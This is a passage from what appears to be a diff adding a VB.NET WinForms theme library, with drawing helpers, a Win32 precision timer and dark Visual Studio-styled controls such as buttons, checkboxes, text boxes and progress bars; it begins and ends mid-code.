+ Protected Function Offset(ByVal r As Rectangle, ByVal amount As Integer) As Rectangle + OffsetReturnRectangle = New Rectangle(r.X + amount, r.Y + amount, r.Width - (amount * 2), r.Height - (amount * 2)) + Return OffsetReturnRectangle + End Function + + Private OffsetReturnSize As Size + Protected Function Offset(ByVal s As Size, ByVal amount As Integer) As Size + OffsetReturnSize = New Size(s.Width + amount, s.Height + amount) + Return OffsetReturnSize + End Function + + Private OffsetReturnPoint As Point + Protected Function Offset(ByVal p As Point, ByVal amount As Integer) As Point + OffsetReturnPoint = New Point(p.X + amount, p.Y + amount) + Return OffsetReturnPoint + End Function + +#End Region + +#Region " Center " + + Private CenterReturn As Point + + Protected Function Center(ByVal p As Rectangle, ByVal c As Rectangle) As Point + CenterReturn = New Point((p.Width \ 2 - c.Width \ 2) + p.X + c.X, (p.Height \ 2 - c.Height \ 2) + p.Y + c.Y) + Return CenterReturn + End Function + Protected Function Center(ByVal p As Rectangle, ByVal c As Size) As Point + CenterReturn = New Point((p.Width \ 2 - c.Width \ 2) + p.X, (p.Height \ 2 - c.Height \ 2) + p.Y) + Return CenterReturn + End Function + + Protected Function Center(ByVal child As Rectangle) As Point + Return Center(Width, Height, child.Width, child.Height) + End Function + Protected Function Center(ByVal child As Size) As Point + Return Center(Width, Height, child.Width, child.Height) + End Function + Protected Function Center(ByVal childWidth As Integer, ByVal childHeight As Integer) As Point + Return Center(Width, Height, childWidth, childHeight) + End Function + + Protected Function Center(ByVal p As Size, ByVal c As Size) As Point + Return Center(p.Width, p.Height, c.Width, c.Height) + End Function + + Protected Function Center(ByVal pWidth As Integer, ByVal pHeight As Integer, ByVal cWidth As Integer, ByVal cHeight As Integer) As Point + CenterReturn = New Point(pWidth \ 2 - cWidth \ 2, pHeight \ 2 - cHeight \ 2) + Return CenterReturn + End Function + +#End Region + +#Region " Measure " + + Private MeasureBitmap As Bitmap + Private MeasureGraphics As Graphics 'TODO: Potential issues during multi-threading. + + Protected Function Measure() As Size + Return MeasureGraphics.MeasureString(Text, Font, Width).ToSize + End Function + Protected Function Measure(ByVal text As String) As Size + Return MeasureGraphics.MeasureString(text, Font, Width).ToSize + End Function + +#End Region + + +#Region " DrawPixel " + + Private DrawPixelBrush As SolidBrush + + Protected Sub DrawPixel(ByVal c1 As Color, ByVal x As Integer, ByVal y As Integer) + If _Transparent Then + B.SetPixel(x, y, c1) + Else + DrawPixelBrush = New SolidBrush(c1) + G.FillRectangle(DrawPixelBrush, x, y, 1, 1) + End If + End Sub + +#End Region + +#Region " DrawCorners " + + Private DrawCornersBrush As SolidBrush + + Protected Sub DrawCorners(ByVal c1 As Color, ByVal offset As Integer) + DrawCorners(c1, 0, 0, Width, Height, offset) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal r1 As Rectangle, ByVal offset As Integer) + DrawCorners(c1, r1.X, r1.Y, r1.Width, r1.Height, offset) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal offset As Integer) + DrawCorners(c1, x + offset, y + offset, width - (offset * 2), height - (offset * 2)) + End Sub + + Protected Sub DrawCorners(ByVal c1 As Color) + DrawCorners(c1, 0, 0, Width, Height) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal r1 As Rectangle) + DrawCorners(c1, r1.X, r1.Y, r1.Width, r1.Height) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + If _NoRounding Then Return + + If _Transparent Then + B.SetPixel(x, y, c1) + B.SetPixel(x + (width - 1), y, c1) + B.SetPixel(x, y + (height - 1), c1) + B.SetPixel(x + (width - 1), y + (height - 1), c1) + Else + DrawCornersBrush = New SolidBrush(c1) + G.FillRectangle(DrawCornersBrush, x, y, 1, 1) + G.FillRectangle(DrawCornersBrush, x + (width - 1), y, 1, 1) + G.FillRectangle(DrawCornersBrush, x, y + (height - 1), 1, 1) + G.FillRectangle(DrawCornersBrush, x + (width - 1), y + (height - 1), 1, 1) + End If + End Sub + +#End Region + +#Region " DrawBorders " + + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal offset As Integer) + DrawBorders(p1, 0, 0, Width, Height, offset) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal r As Rectangle, ByVal offset As Integer) + DrawBorders(p1, r.X, r.Y, r.Width, r.Height, offset) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal offset As Integer) + DrawBorders(p1, x + offset, y + offset, width - (offset * 2), height - (offset * 2)) + End Sub + + Protected Sub DrawBorders(ByVal p1 As Pen) + DrawBorders(p1, 0, 0, Width, Height) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal r As Rectangle) + DrawBorders(p1, r.X, r.Y, r.Width, r.Height) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + G.DrawRectangle(p1, x, y, width - 1, height - 1) + End Sub + +#End Region + +#Region " DrawText " + + Private DrawTextPoint As Point + Private DrawTextSize As Size + + Protected Sub DrawText(ByVal b1 As Brush, ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + DrawText(b1, Text, a, x, y) + End Sub + Protected Sub DrawText(ByVal b1 As Brush, ByVal text As String, ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + If text.Length = 0 Then Return + + DrawTextSize = Measure(text) + DrawTextPoint = Center(DrawTextSize) + + Select Case a + Case HorizontalAlignment.Left + G.DrawString(text, Font, b1, x, DrawTextPoint.Y + y) + Case HorizontalAlignment.Center + G.DrawString(text, Font, b1, DrawTextPoint.X + x, DrawTextPoint.Y + y) + Case HorizontalAlignment.Right + G.DrawString(text, Font, b1, Width - DrawTextSize.Width - x, DrawTextPoint.Y + y) + End Select + End Sub + + Protected Sub DrawText(ByVal b1 As Brush, ByVal p1 As Point) + If Text.Length = 0 Then Return + G.DrawString(Text, Font, b1, p1) + End Sub + Protected Sub DrawText(ByVal b1 As Brush, ByVal x As Integer, ByVal y As Integer) + If Text.Length = 0 Then Return + G.DrawString(Text, Font, b1, x, y) + End Sub + +#End Region + +#Region " DrawImage " + + Private DrawImagePoint As Point + + Protected Sub DrawImage(ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + DrawImage(_Image, a, x, y) + End Sub + Protected Sub DrawImage(ByVal image As Image, ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + If image Is Nothing Then Return + DrawImagePoint = Center(image.Size) + + Select Case a + Case HorizontalAlignment.Left + G.DrawImage(image, x, DrawImagePoint.Y + y, image.Width, image.Height) + Case HorizontalAlignment.Center + G.DrawImage(image, DrawImagePoint.X + x, DrawImagePoint.Y + y, image.Width, image.Height) + Case HorizontalAlignment.Right + G.DrawImage(image, Width - image.Width - x, DrawImagePoint.Y + y, image.Width, image.Height) + End Select + End Sub + + Protected Sub DrawImage(ByVal p1 As Point) + DrawImage(_Image, p1.X, p1.Y) + End Sub + Protected Sub DrawImage(ByVal x As Integer, ByVal y As Integer) + DrawImage(_Image, x, y) + End Sub + + Protected Sub DrawImage(ByVal image As Image, ByVal p1 As Point) + DrawImage(image, p1.X, p1.Y) + End Sub + Protected Sub DrawImage(ByVal image As Image, ByVal x As Integer, ByVal y As Integer) + If image Is Nothing Then Return + G.DrawImage(image, x, y, image.Width, image.Height) + End Sub + +#End Region + +#Region " DrawGradient " + + Private DrawGradientBrush As LinearGradientBrush + Private DrawGradientRectangle As Rectangle + + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(blend, DrawGradientRectangle) + End Sub + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(blend, DrawGradientRectangle, angle) + End Sub + + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal r As Rectangle) + DrawGradientBrush = New LinearGradientBrush(r, Color.Empty, Color.Empty, 90.0F) + DrawGradientBrush.InterpolationColors = blend + G.FillRectangle(DrawGradientBrush, r) + End Sub + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal r As Rectangle, ByVal angle As Single) + DrawGradientBrush = New LinearGradientBrush(r, Color.Empty, Color.Empty, angle) + DrawGradientBrush.InterpolationColors = blend + G.FillRectangle(DrawGradientBrush, r) + End Sub + + + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(c1, c2, DrawGradientRectangle) + End Sub + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(c1, c2, DrawGradientRectangle, angle) + End Sub + + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal r As Rectangle) + DrawGradientBrush = New LinearGradientBrush(r, c1, c2, 90.0F) + G.FillRectangle(DrawGradientBrush, r) + End Sub + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal r As Rectangle, ByVal angle As Single) + DrawGradientBrush = New LinearGradientBrush(r, c1, c2, angle) + G.FillRectangle(DrawGradientBrush, r) + End Sub + +#End Region + +#Region " DrawRadial " + + Private DrawRadialPath As GraphicsPath + Private DrawRadialBrush1 As PathGradientBrush + Private DrawRadialBrush2 As LinearGradientBrush + Private DrawRadialRectangle As Rectangle + + Sub DrawRadial(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(blend, DrawRadialRectangle, width \ 2, height \ 2) + End Sub + Sub DrawRadial(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal center As Point) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(blend, DrawRadialRectangle, center.X, center.Y) + End Sub + Sub DrawRadial(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal cx As Integer, ByVal cy As Integer) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(blend, DrawRadialRectangle, cx, cy) + End Sub + + Sub DrawRadial(ByVal blend As ColorBlend, ByVal r As Rectangle) + DrawRadial(blend, r, r.Width \ 2, r.Height \ 2) + End Sub + Sub DrawRadial(ByVal blend As ColorBlend, ByVal r As Rectangle, ByVal center As Point) + DrawRadial(blend, r, center.X, center.Y) + End Sub + Sub DrawRadial(ByVal blend As ColorBlend, ByVal r As Rectangle, ByVal cx As Integer, ByVal cy As Integer) + DrawRadialPath.Reset() + DrawRadialPath.AddEllipse(r.X, r.Y, r.Width - 1, r.Height - 1) + + DrawRadialBrush1 = New PathGradientBrush(DrawRadialPath) + DrawRadialBrush1.CenterPoint = New Point(r.X + cx, r.Y + cy) + DrawRadialBrush1.InterpolationColors = blend + + If G.SmoothingMode = SmoothingMode.AntiAlias Then + G.FillEllipse(DrawRadialBrush1, r.X + 1, r.Y + 1, r.Width - 3, r.Height - 3) + Else + G.FillEllipse(DrawRadialBrush1, r) + End If + End Sub + + + Protected Sub DrawRadial(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(c1, c2, DrawRadialRectangle) + End Sub + Protected Sub DrawRadial(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(c1, c2, DrawRadialRectangle, angle) + End Sub + + Protected Sub DrawRadial(ByVal c1 As Color, ByVal c2 As Color, ByVal r As Rectangle) + DrawRadialBrush2 = New LinearGradientBrush(r, c1, c2, 90.0F) + G.FillEllipse(DrawRadialBrush2, r) + End Sub + Protected Sub DrawRadial(ByVal c1 As Color, ByVal c2 As Color, ByVal r As Rectangle, ByVal angle As Single) + DrawRadialBrush2 = New LinearGradientBrush(r, c1, c2, angle) + G.FillEllipse(DrawRadialBrush2, r) + End Sub + +#End Region + +#Region " CreateRound " + + Private CreateRoundPath As GraphicsPath + Private CreateRoundRectangle As Rectangle + + Function CreateRound(ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal slope As Integer) As GraphicsPath + CreateRoundRectangle = New Rectangle(x, y, width, height) + Return CreateRound(CreateRoundRectangle, slope) + End Function + + Function CreateRound(ByVal r As Rectangle, ByVal slope As Integer) As GraphicsPath + CreateRoundPath = New GraphicsPath(FillMode.Winding) + CreateRoundPath.AddArc(r.X, r.Y, slope, slope, 180.0F, 90.0F) + CreateRoundPath.AddArc(r.Right - slope, r.Y, slope, slope, 270.0F, 90.0F) + CreateRoundPath.AddArc(r.Right - slope, r.Bottom - slope, slope, slope, 0.0F, 90.0F) + CreateRoundPath.AddArc(r.X, r.Bottom - slope, slope, slope, 90.0F, 90.0F) + CreateRoundPath.CloseFigure() + Return CreateRoundPath + End Function + +#End Region + +End Class + +Module ThemeShare + +#Region " Animation " + + Private Frames As Integer + Private Invalidate As Boolean + Public ThemeTimer As New PrecisionTimer + + Private Const FPS As Integer = 50 '1000 / 50 = 20 FPS + Private Const Rate As Integer = 10 + + Public Delegate Sub AnimationDelegate(ByVal invalidate As Boolean) + + Private Callbacks As New List(Of AnimationDelegate) + + Private Sub HandleCallbacks(ByVal state As IntPtr, ByVal reserve As Boolean) + Invalidate = (Frames >= FPS) + If Invalidate Then Frames = 0 + + SyncLock Callbacks + For I As Integer = 0 To Callbacks.Count - 1 + Callbacks(I).Invoke(Invalidate) + Next + End SyncLock + + Frames += Rate + End Sub + + Private Sub InvalidateThemeTimer() + If Callbacks.Count = 0 Then + ThemeTimer.Delete() + Else + ThemeTimer.Create(0, Rate, AddressOf HandleCallbacks) + End If + End Sub + + Sub AddAnimationCallback(ByVal callback As AnimationDelegate) + SyncLock Callbacks + If Callbacks.Contains(callback) Then Return + + Callbacks.Add(callback) + InvalidateThemeTimer() + End SyncLock + End Sub + + Sub RemoveAnimationCallback(ByVal callback As AnimationDelegate) + SyncLock Callbacks + If Not Callbacks.Contains(callback) Then Return + + Callbacks.Remove(callback) + InvalidateThemeTimer() + End SyncLock + End Sub + +#End Region + +End Module + +Enum MouseState As Byte + None = 0 + Over = 1 + Down = 2 + Block = 3 +End Enum + +Structure Bloom + + Public _Name As String + ReadOnly Property Name() As String + Get + Return _Name + End Get + End Property + + Private _Value As Color + Property Value() As Color + Get + Return _Value + End Get + Set(ByVal value As Color) + _Value = value + End Set + End Property + + Property ValueHex() As String + Get + Return String.Concat("#", _ + _Value.R.ToString("X2", Nothing), _ + _Value.G.ToString("X2", Nothing), _ + _Value.B.ToString("X2", Nothing)) + End Get + Set(ByVal value As String) + Try + _Value = ColorTranslator.FromHtml(value) + Catch + Return + End Try + End Set + End Property + + + Sub New(ByVal name As String, ByVal value As Color) + _Name = name + _Value = value + End Sub +End Structure + +'------------------ +'Creator: aeonhack +'Site: elitevs.net +'Created: 11/30/2011 +'Changed: 11/30/2011 +'Version: 1.0.0 +'------------------ +Class PrecisionTimer + Implements IDisposable + + Private _Enabled As Boolean + ReadOnly Property Enabled() As Boolean + Get + Return _Enabled + End Get + End Property + + Private Handle As IntPtr + Private TimerCallback As TimerDelegate + + _ + Private Shared Function CreateTimerQueueTimer( _ + ByRef handle As IntPtr, _ + ByVal queue As IntPtr, _ + ByVal callback As TimerDelegate, _ + ByVal state As IntPtr, _ + ByVal dueTime As UInteger, _ + ByVal period As UInteger, _ + ByVal flags As UInteger) As Boolean + End Function + + _ + Private Shared Function DeleteTimerQueueTimer( _ + ByVal queue As IntPtr, _ + ByVal handle As IntPtr, _ + ByVal callback As IntPtr) As Boolean + End Function + + Delegate Sub TimerDelegate(ByVal r1 As IntPtr, ByVal r2 As Boolean) + + Sub Create(ByVal dueTime As UInteger, ByVal period As UInteger, ByVal callback As TimerDelegate) + If _Enabled Then Return + + TimerCallback = callback + Dim Success As Boolean = CreateTimerQueueTimer(Handle, IntPtr.Zero, TimerCallback, IntPtr.Zero, dueTime, period, 0) + + If Not Success Then ThrowNewException("CreateTimerQueueTimer") + _Enabled = Success + End Sub + + Sub Delete() + If Not _Enabled Then Return + Dim Success As Boolean = DeleteTimerQueueTimer(IntPtr.Zero, Handle, IntPtr.Zero) + + If Not Success AndAlso Not Marshal.GetLastWin32Error = 997 Then + ThrowNewException("DeleteTimerQueueTimer") + End If + + _Enabled = Not Success + End Sub + + Private Sub ThrowNewException(ByVal name As String) + 'Throw New Exception(String.Format("{0} failed. Win32Error: {1}", name, Marshal.GetLastWin32Error)) + End Sub + + Public Sub Dispose() Implements IDisposable.Dispose + Delete() + End Sub +End Class + +#End Region + +Class Theme + Inherits ThemeContainer154 + + Sub New() + BackColor = Color.FromArgb(37, 37, 38) + Font = New Font("Segoe UI", 11) + SetColor("Border", Color.FromArgb(45, 45, 48)) + SetColor("Text", Color.FromArgb(113, 113, 113)) + End Sub + + Dim Border As Color + Dim TextBrush As Brush + Protected Overrides Sub ColorHook() + Border = GetColor("Border") + TextBrush = GetBrush("Text") + End Sub + + Protected Overrides Sub PaintHook() + G.Clear(Border) + G.FillRectangle(New SolidBrush(BackColor), New Rectangle(6, 34, Width - 13, Height - 43)) + G.DrawString(FindForm.Text, Font, TextBrush, New Point(35, 7)) + G.DrawIcon(FindForm.Icon, New Rectangle(10, 10, 16, 16)) + End Sub +End Class + +Class VSButton + Inherits ThemeControl154 + + Dim ButtonColor As Color + Dim ButtonOver As Color + Dim TextColor As Brush + Dim Border As Pen + Dim BorderOver As Pen + + + Sub New() + SetColor("Button", Color.FromArgb(62, 62, 66)) + SetColor("ButtonOver", Color.FromArgb(51, 51, 52)) + SetColor("Text", Color.White) + SetColor("Border", Color.FromArgb(153, 153, 153)) + SetColor("BorderOver", Color.FromArgb(0, 112, 204)) + End Sub + + Protected Overrides Sub ColorHook() + ButtonColor = GetColor("Button") + ButtonOver = GetColor("ButtonOver") + TextColor = GetBrush("Text") + Border = GetPen("Border") + BorderOver = GetPen("BorderOver") + End Sub + + Protected Overrides Sub PaintHook() + Select Case State + Case MouseState.None + G.Clear(ButtonColor) + + G.DrawRectangle(Border, New Rectangle(0, 0, Width - 1, Height - 1)) + DrawText(TextColor, HorizontalAlignment.Center, 0, 0) + + Case MouseState.Over + G.Clear(ButtonColor) + + G.DrawRectangle(BorderOver, New Rectangle(0, 0, Width - 1, Height - 1)) + DrawText(TextColor, HorizontalAlignment.Center, 0, 0) + + Case MouseState.Down + G.Clear(ButtonOver) + + G.DrawRectangle(BorderOver, New Rectangle(0, 0, Width - 1, Height - 1)) + DrawText(TextColor, HorizontalAlignment.Center, 0, 0) + End Select + End Sub +End Class + +Class VSGroupBox + Inherits ThemeContainer154 + + Sub New() + ControlMode = True + SetColor("Border", Color.FromArgb(51, 51, 55)) + SetColor("Text", Color.White) + End Sub + + Dim Border As Pen + Dim TextColor As Brush + Protected Overrides Sub ColorHook() + Border = GetPen("Border") + TextColor = GetBrush("Text") + End Sub + + Protected Overrides Sub PaintHook() + G.Clear(BackColor) + G.DrawRectangle(Border, New Rectangle(0, 7, Width - 1, Height - 8)) + G.DrawString(Text, Font, TextColor, New Point(5, 0)) + End Sub +End Class + + _ +Class VSRadiobutton + Inherits ThemeControl154 + Private X As Integer + Private _Checked As Boolean + + Property Checked() As Boolean + Get + Return _Checked + End Get + Set(ByVal value As Boolean) + _Checked = value + InvalidateControls() + RaiseEvent CheckedChanged(Me) + Invalidate() + End Set + End Property + + Event CheckedChanged(ByVal sender As Object) + + Protected Overrides Sub OnCreation() + InvalidateControls() + End Sub + + Private Sub InvalidateControls() + If Not IsHandleCreated OrElse Not _Checked Then Return + + For Each C As Control In Parent.Controls + If C IsNot Me AndAlso TypeOf C Is VSRadiobutton Then + DirectCast(C, VSRadiobutton).Checked = False + End If + Next + End Sub + + Protected Overrides Sub OnMouseDown(ByVal e As System.Windows.Forms.MouseEventArgs) + If Not _Checked Then Checked = True + MyBase.OnMouseDown(e) + End Sub + + Protected Overrides Sub OnMouseMove(ByVal e As System.Windows.Forms.MouseEventArgs) + MyBase.OnMouseMove(e) + X = e.X + Invalidate() + End Sub + + + Dim TextColor As Brush + Dim OuterCircleColor As Pen + Dim OuterCircleSelectedColor As Pen + + + Protected Overrides Sub ColorHook() + TextColor = GetBrush("Text") + OuterCircleColor = GetPen("OuterCircle") + OuterCircleSelectedColor = GetPen("SelectedCircle") + End Sub + + Protected Overrides Sub OnTextChanged(ByVal e As System.EventArgs) + MyBase.OnTextChanged(e) + Dim textSize As Integer + textSize = Me.CreateGraphics.MeasureString(Text, Font).Width + Me.Width = 20 + textSize + End Sub + + Protected Overrides Sub PaintHook() + G.Clear(BackColor) + G.SmoothingMode = SmoothingMode.HighQuality + If _Checked Then + G.DrawEllipse(OuterCircleSelectedColor, New Rectangle(0, 0, 15, 15)) + G.FillEllipse(New SolidBrush(Color.Black), New Rectangle(4, 4, 7, 7)) + G.FillEllipse(New SolidBrush(Color.White), New Rectangle(5, 5, 5, 5)) + + Else + If State = MouseState.Over Then + G.DrawEllipse(OuterCircleSelectedColor, New Rectangle(0, 0, 15, 15)) + + Else + G.DrawEllipse(OuterCircleColor, New Rectangle(0, 0, 15, 15)) + + End If + ' G.DrawEllipse(OuterCircleColor, New Rectangle(0, 0, 15, 15)) + + End If + + G.DrawString(Text, Font, TextColor, New Point(20, 2)) + End Sub + + Public Sub New() + SetColor("Text", Color.White) + SetColor("OuterCircle", Color.FromArgb(153, 153, 153)) + SetColor("SelectedCircle", Color.FromArgb(0, 122, 204)) + + Dim txtWidth = Me.CreateGraphics.MeasureString(Text, Font).Width + Me.Size = New Point(txtWidth + 20, 16) + End Sub +End Class + + _ +Class VSTextBox + Inherits ThemeControl154 + + Private _TextAlign As HorizontalAlignment = HorizontalAlignment.Left + Property TextAlign() As HorizontalAlignment + Get + Return _TextAlign + End Get + Set(ByVal value As HorizontalAlignment) + _TextAlign = value + If Base IsNot Nothing Then + Base.TextAlign = value + End If + End Set + End Property + Private _MaxLength As Integer = 32767 + Property MaxLength() As Integer + Get + Return _MaxLength + End Get + Set(ByVal value As Integer) + _MaxLength = value + If Base IsNot Nothing Then + Base.MaxLength = value + End If + End Set + End Property + Private _ReadOnly As Boolean + Property [ReadOnly]() As Boolean + Get + Return _ReadOnly + End Get + Set(ByVal value As Boolean) + _ReadOnly = value + If Base IsNot Nothing Then + Base.ReadOnly = value + End If + End Set + End Property + Private _UseSystemPasswordChar As Boolean + Property UseSystemPasswordChar() As Boolean + Get + Return _UseSystemPasswordChar + End Get + Set(ByVal value As Boolean) + _UseSystemPasswordChar = value + If Base IsNot Nothing Then + Base.UseSystemPasswordChar = value + End If + End Set + End Property + Private _Multiline As Boolean + Property Multiline() As Boolean + Get + Return _Multiline + End Get + Set(ByVal value As Boolean) + _Multiline = value + If Base IsNot Nothing Then + Base.Multiline = value + + If value Then + LockHeight = 0 + Base.Height = Height - 11 + Else + LockHeight = Base.Height + 11 + End If + End If + End Set + End Property + Overrides Property Text As String + Get + Return MyBase.Text + End Get + Set(ByVal value As String) + MyBase.Text = value + If Base IsNot Nothing Then + Base.Text = value + End If + End Set + End Property + Overrides Property Font As Font + Get + Return MyBase.Font + End Get + Set(ByVal value As Font) + MyBase.Font = value + If Base IsNot Nothing Then + Base.Font = value + Base.Location = New Point(3, 5) + Base.Width = Width - 6 + + If Not _Multiline Then + LockHeight = Base.Height + 11 + End If + End If + End Set + End Property + + Protected Overrides Sub OnCreation() + If Not Controls.Contains(Base) Then + Controls.Add(Base) + End If + End Sub + + Private Base As TextBox + Sub New() + Base = New TextBox + + Base.Font = Font + Base.Text = Text + Base.MaxLength = _MaxLength + Base.Multiline = _Multiline + Base.ReadOnly = _ReadOnly + Base.UseSystemPasswordChar = _UseSystemPasswordChar + + Base.BorderStyle = BorderStyle.None + + Base.Location = New Point(5, 5) + Base.Width = Width - 10 + + If _Multiline Then + Base.Height = Height - 11 + Else + LockHeight = Base.Height + 11 + End If + + AddHandler Base.TextChanged, AddressOf OnBaseTextChanged + AddHandler Base.KeyDown, AddressOf OnBaseKeyDown + + + SetColor("Text", Color.White) + SetColor("Back", 63, 63, 70) + SetColor("Border1", Color.Black) + SetColor("Border2", 90, 90, 90) + End Sub + + Private C1 As Color + Private P1, P2 As Pen + + Protected Overrides Sub ColorHook() + C1 = GetColor("Back") + + P1 = GetPen("Border1") + P2 = GetPen("Border2") + + Base.ForeColor = GetColor("Text") + Base.BackColor = C1 + End Sub + + Protected Overrides Sub PaintHook() + G.Clear(C1) + ' DrawBorders(P1, 1) + ' DrawBorders(P2) + End Sub + Private Sub OnBaseTextChanged(ByVal s As Object, ByVal e As EventArgs) + Text = Base.Text + End Sub + Private Sub OnBaseKeyDown(ByVal s As Object, ByVal e As KeyEventArgs) + If e.Control AndAlso e.KeyCode = Keys.A Then + Base.SelectAll() + e.SuppressKeyPress = True + End If + End Sub + Protected Overrides Sub OnResize(ByVal e As EventArgs) + Base.Location = New Point(5, 5) + Base.Width = Width - 10 + + If _Multiline Then + Base.Height = Height - 11 + End If + + + MyBase.OnResize(e) + End Sub +End Class + +Class VSProgressBar + Inherits ThemeControl154 + + Dim G1, G2, G3, Glow, Edge1, Edge2 As Color + Dim GlowPosition As Integer + + Private _Minimum As Integer + Property Minimum() As Integer + Get + Return _Minimum + End Get + Set(ByVal value As Integer) + If value < 0 Then + Throw New Exception("Property value is not valid.") + End If + + _Minimum = value + If value > _Value Then _Value = value + If value > _Maximum Then _Maximum = value + Invalidate() + End Set + End Property + + Private _Maximum As Integer = 100 + Property Maximum() As Integer + Get + Return _Maximum + End Get + Set(ByVal value As Integer) + If value < 0 Then + Throw New Exception("Property value is not valid.") + End If + + _Maximum = value + If value < _Value Then _Value = value + If value < _Minimum Then _Minimum = value + Invalidate() + End Set + End Property + + Property Animated() As Boolean + Get + Return IsAnimated + End Get + Set(ByVal value As Boolean) + IsAnimated = value + Invalidate() + End Set + End Property + + Private _Value As Integer + Property Value() As Integer + Get + Return _Value + End Get + Set(ByVal value As Integer) + If value > _Maximum OrElse value < _Minimum Then + Throw New Exception("Property value is not valid.") + End If + + _Value = value + Invalidate() + End Set + End Property + + Private Sub Increment(ByVal amount As Integer) + Value += amount + End Sub + + Sub New() + SetColor("Gradient 1", 45, 45, 48) + SetColor("Gradient 2", 0, 122, 204) + SetColor("Gradient 3", 0, 122, 204) + SetColor("Glow", Color.Transparent) + SetColor("Edge1", 75, 77, 89) + SetColor("Edge2", 240, 240, 240) + SetColor("BG", 45, 45, 48) + IsAnimated = True + + End Sub + + Dim Progess As Brush + Dim BackGround As Color + Protected Overrides Sub ColorHook() + G1 = GetColor("Gradient 1") + G2 = GetColor("Gradient 2") + G3 = GetColor("Gradient 3") + Glow = GetColor("Glow") + Edge1 = GetColor("Edge1") + Edge2 = GetColor("Edge2") + BackGround = GetColor("BG") + End Sub + + Protected Overrides Sub OnAnimation() + If GlowPosition = 0 Then + GlowPosition = 7 + Else + GlowPosition -= 1 + End If + End Sub + + Protected Overrides Sub PaintHook() + G.Clear(BackGround) + Dim LGB As New LinearGradientBrush(New Rectangle(New Point(0, 0), New Size(Width - 2, Height - 2)), G2, G3, 90.0F) + G.FillRectangle(LGB, New Rectangle(New Point(1, 1), New Size((Width / Maximum) * Value - 1, Height - 2))) + ' G.FillRectangle(New SolidBrush(Glow), New Rectangle(New Point(1, 1), New Size((Width / Maximum) * Value - 1, (Height / 2) - 3))) + + ' G.RenderingOrigin = New Point(GlowPosition, 0) + + ' G.DrawLine(New Pen(Edge2), New Point((Width / Maximum) * Value - 1, 1), New Point((Width / Maximum) * Value - 1, Height + 1)) + ' G.DrawRectangle(New Pen(Edge2), New Rectangle(New Point(2, 2), New Size(Width - 4, Height - 4))) + ' G.DrawRectangle(New Pen(Edge1), New Rectangle(New Point(1, 1), New Size(Width - 2, Height - 2))) + ' DrawCorners(Color.FromArgb(240, 240, 240)) + End Sub + +End Class + + _ +Class VSCheckbox + Inherits ThemeControl154 + Private _Checked As Boolean + Private X As Integer + + Event CheckedChanged(ByVal sender As Object) + + Public Property Checked As Boolean + Get + Return _Checked + End Get + Set(ByVal V As Boolean) + _Checked = V + Invalidate() + RaiseEvent CheckedChanged(Me) + End Set + End Property + + Protected Overrides Sub ColorHook() + + End Sub + + Protected Overrides Sub OnTextChanged(ByVal e As System.EventArgs) + MyBase.OnTextChanged(e) + Dim textSize As Integer + textSize = Me.CreateGraphics.MeasureString(Text, Font).Width + Me.Width = 20 + textSize + End Sub + + Protected Overrides Sub OnMouseMove(ByVal e As System.Windows.Forms.MouseEventArgs) + MyBase.OnMouseMove(e) + X = e.X + Invalidate() + End Sub + + Protected Overrides Sub OnMouseDown(ByVal e As System.Windows.Forms.MouseEventArgs) + MyBase.OnMouseDown(e) + If _Checked = True Then _Checked = False Else _Checked = True + End Sub + Protected Overrides Sub PaintHook() + G.Clear(BackColor) + G.FillRectangle(New SolidBrush(Color.FromArgb(37, 37, 